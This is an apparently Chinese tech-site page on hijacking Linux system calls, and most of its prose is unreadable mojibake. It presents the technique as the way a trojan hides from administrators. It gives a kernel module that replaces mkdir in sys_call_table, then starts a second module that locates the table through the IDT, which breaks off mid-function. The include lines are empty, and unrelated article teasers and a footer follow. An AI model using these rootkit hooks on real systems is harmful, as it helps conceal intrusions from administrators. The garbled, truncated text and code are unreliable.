Ò׽ؽØÍ¼Èí¼þ¡¢µ¥Îļþ¡¢Ãâ°²×°¡¢´¿ÂÌÉ«¡¢½ö160KB

ʵÏÖLinuxϵͳµ÷ÓýٳÖ

¹ØÓÚϵͳµ÷ÓýٳÖ
Èç¹ûÒ»¸öľÂíÒªÒþ²ØÆðÀ´£¬²»±»ÏµÍ³¹ÜÀíÔ±·¢ÏÖ¡£½Ø»ñϵͳµ÷ÓÃËÆºõÊDZØÐëµÄ¡£´ó²¿·ÖÇé¿öÏ£¬Í¨¹ýÐÞ¸Äϵͳµ÷ÓñíÀ´ÊµÏÖϵͳµ÷ÓõĽٳ֡£ÏÂÃæÊÇÒ»¸öµäÐ͵Ľػñϵͳµ÷ÓõÄÄ£¿é£º
Ä£¿éÒ»£º
#include
#include
#include
#include
#include
#include
#include
#include
#include
MODULE_LICENSE("GPL");
extern void* sys_call_table[]; /*sys_call_table is exported, so we can accessit. But in some system this will cause problem */
int (*orig_mkdir)(const char *path); /*the original systemcall*/
int hacked_mkdir(const char *path)
{
        return 0; /*everything is ok, but he new systemcall   does nothing*/
}
int init_module(void) /*module setup*/
{
        orig_mkdir=sys_call_table[SYS_mkdir];
        sys_call_table[SYS_mkdir]=hacked_mkdir;
        return 0;
}
void cleanup_module(void) /*module shutdown*/
{
        sys_call_table[SYS_mkdir]=orig_mkdir;
/*set mkdir syscall to the origal  one*/
}
ÓÃÕâÖÖ·½·¨ÊµÏÖϵͳµ÷ÓÃÓиöǰÌᣬ¾ÍÊÇϵͳ±ØÐëµ¼³ösys_call_tableÄں˷ûºÅ£¬µ«ÊÇÔÚ2.6Äں˺ÍÓÐЩ2.4Äں˵Äϵͳ£¨±ÈÈç
redhat as 3£©ÖУ¬sys_call_table²»ÔÙµ¼³ö¡£Ò²¾ÍÊÇ˵ģ¿éÖв»ÄÜÔÙͨ¹ý¼òµ¥µÄextern void
*sys_call_table[];À´»ñµÃϵͳµ÷ÓÃ±íµØÖ·¡£ËùÐÒµÄÊÇ£¬¼´Ê¹Äں˲»µ¼³ösys_call_table£¬Ò²¿ÉÒÔÔÚÄÚ´æÖÐÕÒµ½ËüµÄµØÖ·£¬ÏÂÃæ
ÊÇËüµÄʵÏÖ·½·¨£º
Ä£¿é¶þ£º(2.4ºÍ2.6Äں˲âÊÔͨ¹ý)
#include
#include
#include
#include
#include
MODULE_LICENSE("GPL");
MODULE_AUTHOR("
[email=xunil@bmy]xunil@bmy[/email]
");
MODULE_DESCRIPTION("Different from others, this module  automatically locate the entry of
sys_call_table !");
unsigned long *sys_call_table=NULL;
asmlinkage int (*orig_mkdir)(const char *,int);
struct _idt
{
  unsigned short offset_low,segment_sel;
  unsigned char reserved,flags;
  unsigned short offset_high;
};
unsigned long *getscTable(){
 


Ïà¹ØÎĵµ£º

ʵսLinux Bluetooth±à³Ì (Æß) SDPЭÒé

Service Discovery Protocol(SDP)ÌṩһÖÖÄÜÁ¦£¬ÈÃÓ¦ÓóÌÐòÓз½·¨·¢ÏÖÄÄÖÖ·þÎñ¿ÉÓÃÒÔ¼°ÕâÖÖ·þÎñµÄÌØÐÔ¡£
·þÎñ·¢ÏÖЭÒé(SDP»òBluetooth SDP)ÔÚÀ¶ÑÀЭÒéÕ»ÖжÔÀ¶ÑÀ»·¾³ÖеÄÓ¦ÓóÌÐòÓÐÌØÊâµÄº¬Ò⣬·¢ÏÖÄĸö·þÎñÊÇ¿ÉÓõĺÍÈ·¶¨ÕâЩ¿ÉÓ÷þÎñµÄÌØÕ÷¡£SDP¶¨ÒåÁËbluetooth client·¢ÏÖ¿ÉÓÃbluetooth server·þÎñºÍËüÃǵÄÌØÕ÷µÄ·½·¨¡£ ......

LinuxÄÚ´æÄ£ÐÍ

LinuxÄÚ´æÄ£ÐÍ
 
Àí½â Linux ʹÓõÄÄÚ´æÄ£ÐÍÊÇ´Ó¸ü´ó³Ì¶ÈÉÏÕÆÎÕ Linux Éè¼ÆºÍʵÏֵĵÚÒ»²½£¬Òò´Ë±¾ÎĽ«¸ÅÊö Linux ÄÚ´æÄ£Ðͺ͹ÜÀí¡£
ÓëÄÚ´æ¹ÜÀíÓйصÄÖ÷ÒªÎÊÌâÓУº
l  ÐéÄâÄÚ´æµÄ¹ÜÀí£¬ÕâÊǽéÓÚÓ¦ÓóÌÐòÇëÇóÓëÎïÀíÄÚ´æÖ®¼äµÄÒ»¸öÂß¼­²ã¡£
l  ÎïÀíÄÚ´æµÄ¹ÜÀí¡£
l  ÄÚºËÐéÄâÄÚ´æµÄ¹ÜÀí/ÄÚºËÄÚ´ ......

LinuxÐźżò½é

LinuxÐźżò½é ¡¡
1) SIGHUP ±¾ÐźÅÔÚÓû§ÖÕ¶ËÁ¬½Ó(Õý³£»ò·ÇÕý³£)½áÊøÊ±·¢³ö, ͨ³£ÊÇÔÚÖն˵ĿØÖƽø³Ì½áÊøÊ±, ֪ͨͬһsessionÄڵĸ÷¸ö×÷Òµ, ÕâʱËüÃÇÓë¿ØÖÆÖն˲»ÔÙ¹ØÁª. ¡¡¡¡
2) SIGINT ³ÌÐòÖÕÖ¹(interrupt)ÐźÅ, ÔÚÓû§¼üÈëINTR×Ö·û(ͨ³£ÊÇCtrl-C)ʱ·¢³ö ¡¡¡¡
3) SIGQUIT ºÍSIGINTÀàËÆ, µ«ÓÉQUIT×Ö·û(ͨ³£ÊÇCtrl-\ ......

LinuxÄÚºËÆô¶¯·ÖÎö

Linux ÄÚºËÆô¶¯·ÖÎö
1.       ÄÚºËÆô¶¯µØÖ·
1.1.   Ãû´Ê½âÊÍ
ZTEXTADDR
½âѹ´úÂëÔËÐеĿªÊ¼µØÖ·¡£Ã»ÓÐÎïÀíµØÖ·ºÍÐéÄâµØÖ·Ö®·Ö£¬ÒòΪ´ËʱMMU´¦ÓڹرÕ״̬¡£Õâ¸öµØÖ·²»Ò»¶¨Ê±RAMµÄµØÖ·£¬¿ÉÒÔÊÇÖ§³Ö¶ÁдѰַµÄflashµÈ´æ´¢Öн顣
Start address of decompressor. here's no point ......

LINUXÆÚÄ©¸´Ï° ³ÌÐòÉè¼ÆÈëÃÅ

Ò»¡¢GCC (×î×î³£¼û:gcc    hello.c   –o    hello) ¢Ù³£ÓÃÑ¡Ïî -c:½ö¶ÔÔ´Îļþ½øÐбàÒë
-o:¶ÔÉú³ÉµÄ´úÂë½øÐÐÓÅ»¯£¬ÓÐ0£¬1£¬2£¬3ËĸöµÈ¼¶£¬Ä¬ÈÏΪ2
-g:¼ÓÈëµ÷ÊÔÐÅÏ¢
-I dir:±àÒëÔ´ÎļþÊÇÔö¼ÓÒ»¸öËÑË÷¿âÎļþµÄĿ¼
-w:½ûÖ¹ËùÓо¯¸æ
-W warning:ÔÊÐí ......
© 2009 ej38.com All Rights Reserved. ¹ØÓÚE½¡ÍøÁªÏµÎÒÃÇ | Õ¾µãµØÍ¼ | ¸ÓICP±¸09004571ºÅ